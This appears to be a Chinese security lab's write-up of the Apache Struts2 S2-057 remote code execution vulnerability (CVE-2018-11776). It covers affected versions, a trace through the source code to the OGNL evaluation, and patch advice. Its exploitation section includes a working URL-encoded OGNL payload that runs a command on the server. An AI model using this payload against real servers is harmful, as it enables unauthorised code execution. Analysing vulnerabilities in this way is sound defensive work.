您好,欢迎访问一九零五行业门户网

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

前言apache struts框架是一个基于 java servlets,javabeans, 和 javaserver pages (jsp)的web应用框架的开源项目,struts基于model-view-controller (mvc)的设计模式,可以用来构件复杂的web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。struts框架是jakarta工程的一部分,由apache软件基金会管理。
天融信阿尔法实验室将为你带来apache struts2 s2-057远程代码执行漏洞分析~
一、 漏洞描述当struts.mapper.alwaysselectfullnamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入ognl语句执行,从而产生远程代码执行漏洞。
1. 受影响的系统版本apache struts 2.3 - struts 2.3.34
apache struts 2.5 - struts 2.5.16
2. 漏洞编号cve-2018-11776
二、环境搭建1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
2. 修改配置文件struts-actionchaining.xml
该漏洞有多种攻击向量包括:
redirect action
action chaining
postback result
以第一种为例子,修改配置文件内容为:
三、漏洞细节在defaultactionmapper这个类的parsenameandnamespace方法里。
当alwaysselectfullnamespace被设置为true时,namespace的值是从url中获取的。url是可控的,所以namespace也是可控的。
action执行结束之后,程序会调用servletactionredirectresult类中的execute()方法进行重定向result的解析。
首先,当namespace为空时,调用invocation.getproxy().getnamespace()赋值给变量namespace,然后将变量namespace传入actionmapping构造函数中。
然后,actionmapper.geturifromactionmapping()对actionmapping后的值进行重组,生成一个url字符串(包含namespace),并赋值给了tmplocation变量。
紧接着将带有namespace的tmplocation传入了setlocation()方法中。
该方法将tmplocation值赋值给了strutsresultsupport类中的location变量。
然后,跟踪super.execute()方法。
继续跟踪servletactionresult类中的super.execute()。
在strutsresultsupport类中的execute()方法中,刚刚被赋值的location变量(带有namespace的)被传入了conditionalparse()方法。
最终,通过textparseutil.translatevariables()对namespace进行ognl解析,导致远程代码执行漏洞。
四、漏洞利用1. 访问url 为/${(111+111)}/actionchain1.action的地址。
访问触发ognl表达式,url变为/222/register2.action,漏洞存在。
2. payload:
%24%7b(%23dm%3d%40ognl.ognlcontext%40default_member_access).(%23ct%3d%23request%5b%27struts.valuestack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.actioncontext.container%27%5d).(%23ou%3d%23cr.getinstance(%40com.opensymphony.xwork2.ognl.ognlutil%40class)).(%23ou.getexcludedpackagenames().clear()).(%23ou.getexcludedclasses().clear()).(%23ct.setmemberaccess(%23dm)).(%23cmd%3d%40java.lang.runtime%40getruntime().exec(%22calc%22))%7d
此payload 仅适用于2.3系列版本。
五、修复建议1. 官方补丁目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到apache struts 2.3.35 或 struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。
2. 手工修复修改配置文件:
固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。
以上就是如何进行apache struts2 s2-057远程代码执行漏洞分析的详细内容。
其它类似信息

推荐信息